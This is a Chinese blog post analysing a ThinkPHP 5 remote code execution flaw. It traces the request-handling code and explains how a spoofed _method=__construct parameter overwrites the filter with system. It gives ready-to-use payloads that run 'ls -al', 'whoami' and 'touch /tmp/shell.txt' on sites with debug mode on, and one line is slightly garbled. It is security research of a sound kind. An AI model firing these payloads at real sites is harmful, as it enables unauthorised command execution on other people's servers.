tp5远程代码执行漏洞分析

2019-07-25 16:29:25 浏览数 (1)

tp5远程代码执行漏洞分析

漏洞分析

前言

最近人比较懒,公众号没怎么更新了,代码也不怎么审计了,我大概成了一个废柴了。 出来了这个新的漏洞了,想着可以跟着大神们的脚步来分析一下,回顾一下代码审计的相关的套路。 此洞的利用链很完美。 从开始分析一下。 有更好的意见和建议的话,可以讨论一下。

漏洞利用条件

dubug开启

访问:/public/index.php?s=asasa _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls -al

漏洞分析

从tp5的入口文件开始分析:

/public/index.php

代码语言:javascript复制
require __DIR__ . '/../thinkphp/start.php'

包含了start.php,跟进一下

thinkphp/start.php

代码语言:javascript复制
// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();

主要代码只有两行,注释的很清晰,主要跟进App类的run()函数: 这是这个框架加载应用的核心类,下面只贴出run()函数漏洞的关键代码;

thinkphp/think/App.php

代码语言:javascript复制
 public static function run(Request $request = null)
    {
        $request = is_null($request) ? Request::instance() : $request;
    ......
    $request->filter($config['default_filter']);
    ......
    if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

函数的参数是Requests对象,Requests对象用于处理函数的请求与响应。 首先跟进一下这个requests对象;存在问题的代码如下:

thinkphp/think/Requests.php

代码语言:javascript复制
class Request
{
    protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }
        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }
    public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }
        return $this->method;
    }
分析 构造函数

其中__construct函数是类的构造函数 将类的属性存在一个数组里面options[] 通过遍历数组来对类的属性进行初始化,而且在初始化的过程中,还对filter的值进行了判断,如果为空,则初始化为Config::get('default_filter') ,其中Config::get()函数是用来加载默认的配置变量的,而默认的配置变量都在application/config.php中,跟进一下看看:

application/config.php

代码语言:javascript复制
     // 默认全局过滤方法 用逗号分隔多个
    'default_filter'         => '',
    // 表单请求类型伪装变量
    'var_method'             => '_method',

而这个default_filter就是用来做全局过滤的,同时var_method是表单请求类型伪装变量,也是同样的获取方法,接下来会用到的。

分析 method函数

函数的主要功能就是获取当前的请求的方法,有可能是post,get,还有put 关键的代码就在于

代码语言:javascript复制
if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);

通过这段代码我们可以知道,如果我们通过POST的方式提交了一个参数是Config::get('var_method')我们就可以调用任何函数,而且函数的参数是以POST的方式提交的。所以说这段代码是非常危险的。

其实如果不考虑其他的代码,类似这样提交参数 _method=__construct&filter[]=system&s=whoami 通过以上代码可以重新调用构造函数,这样就会通过变量覆盖将fileter覆盖为system

实际上,这也是前几个版本5.0.10远程代码执行的构造原理,至于s是什么,等到第二章再解释。但是大家可以注意到,thinkphp/think/App.php 中有一句$request->filter($config['default_filter']);这是新版本中的过滤机制,可以防止filter被覆盖之后无法调用。这样还是被过滤之后,还有更为巧妙的过滤方法。

分析app类

继续看上面App类第三部分代码

代码语言:javascript复制
    if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

漏洞代码存在于此,所以条件是需要进入这个条件语句,即self::$debug=true,所以整个漏洞的利用是需要开启dubug的,开启之后看一下$request->param(), true此时 调用了param()函数,跟进一下:

分析param()函数

代码如下:

代码语言:javascript复制
    public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->mergeParam)) {
            $method = $this->method(true);
            // 自动获取请求变量
            switch ($method) {
                case 'POST':
                    $vars = $this->post(false);
                    break;
                case 'PUT':
                case 'DELETE':
                case 'PATCH':
                    $vars = $this->put(false);
                    break;
                default:
                    $vars = [];
            }
            // 当前请求参数和URL地址中的参数合并
            $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
            $this->mergeParam = true;
        }
        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
            return $this->input($data, '', $default, $filter);
        }
        return $this->input($this->param, $name, $default, $filter);
    }

从代码中param()函数调用了$method = $this->method(true); 再回过头看看

代码语言:javascript复制
        if (true === $method) {
            // 获取原始请求类型
            return  $this->server('REQUEST_METHOD')?: 'GET';

调用了$this->server('REQUEST_METHOD')跟进一下:

分析server()函数

代码如下

代码语言:javascript复制
    public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }

根据函数调用的方式:$name=$this->server('REQUEST_METHOD'),最终调用了input函数,继续跟进 $this->server=[]

分析input()函数

这里只粘贴出关键代码: $this->server=[] ->

代码语言:javascript复制
 public function input($data = [], $name = '', $default = null, $filter = '')
    {
    ....
    $filter = $this->getFilter($filter, $default);
    ....
     if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }
     }

这里的关键代码就是调用了getFilter()函数,其中data¨C23C¨C24C¨G10G这里的关键代码就是调用了getFilter()函数,其中filter = '' 继续跟进

分析getFilter()函数

代码如下:

代码语言:javascript复制
    protected function getFilter($filter, $default)
    {
        if (is_null($filter)) {
            $filter = [];
        } else {
            $filter = $filter ?: $this->filter;
            if (is_string($filter) && false === strpos($filter, '/')) {
                $filter = explode(',', $filter);
            } else {
                $filter = (array) $filter;
            }
        }
        $filter[] = $default;
        return $filter;
    }

最开始filter=′′执行之后会进入else的语句所以会被赋值this->filter 最终 filter[]=default; 回到分析input的代码中去,可以发现,$this->server=[] 赋值给了$data = [] 最后进了filterValue函数 跟进一下

分析filterValue

代码如下:

value = $this->server key = REQUEST_METHOD $filters=''

代码语言:javascript复制
    private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
                    if (!preg_match($filter, $value)) {
                        // 匹配不成功返回默认值
                        $value = $default;
                        break;
                    }
                } elseif (!empty($filter)) {
                    // filter函数不存在时, 则使用filter_var进行过滤
                    // filter为非整形值时, 调用filter_id取得过滤id
                    $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                    if (false === $value) {
                        $value = $default;
                        break;
                    }
                }
            }
        }
        return $this->filterExp($value);
    }

从此可以看出,调用了call_user_func()进行过滤, 而调用的函数可控,filter(value),我们在分析 method函数的函数的时候说过tp5.0.10远程代码执行的时候,函数调用的缺陷,虽然可以将filter()初始化,避免了过滤函数的正常调用,但是被污染的参数还是传了进来,但是methed()的构造函数可以被重新初始化的事实没有改变,所有从5.0.10 到5.0.23 中间版本的根本性问题是没有发生变化的,我们来重新分析一下 调用的方式: _method=__construct&filter[]=system&server[REQUEST_METHOD]=touch /tmp/shell.txt

漏洞复现

后记

以上就是漏洞利用的第一个阶段,构造了漏洞,还有一个重要的问题就是回显的问题,其实现在已经能成功执行代码了,回显的问题明天再说。

0 人点赞